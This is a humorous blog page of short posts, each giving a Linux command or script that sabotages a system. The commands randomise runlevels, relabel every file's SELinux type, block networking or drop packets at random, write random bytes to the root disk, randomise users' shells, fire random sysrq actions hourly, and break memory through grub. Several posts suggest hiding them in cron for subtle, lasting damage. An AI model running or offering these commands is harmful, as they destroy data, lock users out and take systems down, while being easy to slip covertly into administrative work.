Breaking Systems for Fun and Profit » Mule

Now that’s a proper startup

Mule — Mon, 17 May 2010 09:58:45 +0000

sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc

Defaults are fine, right?

Mule — Fri, 14 May 2010 10:08:42 +0000

chcon -t default_t /

Connecting…

Mule — Thu, 13 May 2010 10:27:43 +0000

ip rule add to 0.0.0.0/0 unreachable

SELinux fun

Mule — Wed, 12 May 2010 16:17:55 +0000

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null

N[eo]tworking…

Mule — Wed, 17 Feb 2010 14:11:36 +0000

iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

Accelerated bitrot

Mule — Mon, 18 Jan 2010 17:53:41 +0000

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

We don’t play favourites.

Mule — Tue, 12 Jan 2010 19:28:09 +0000

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Add some spice to your life

Mule — Wed, 16 Dec 2009 10:47:57 +0000

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

Mule — Tue, 15 Dec 2009 11:00:31 +0000

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')

Bad memory

Mule — Mon, 14 Dec 2009 10:21:46 +0000

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf